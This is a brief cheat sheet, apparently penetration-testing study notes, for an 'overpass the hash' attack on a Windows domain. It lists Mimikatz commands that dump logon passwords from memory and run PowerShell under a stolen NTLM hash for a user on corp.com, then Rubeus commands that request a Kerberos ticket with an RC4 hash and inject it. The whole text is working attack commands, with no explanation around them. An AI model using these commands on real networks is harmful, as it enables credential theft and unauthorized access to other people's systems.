Overpass the hash

privilege::debug

sekurlsa::logonpasswords

sekurlsa::pth /user:jen /domain:corp.com /ntlm:369def79d8372408bf6e93364cc93075 /run:powershell

Rubeus.exe asktgt /user:victim /rc4:<rc4value>

Rubeus.exe ptt /ticket:<ticket>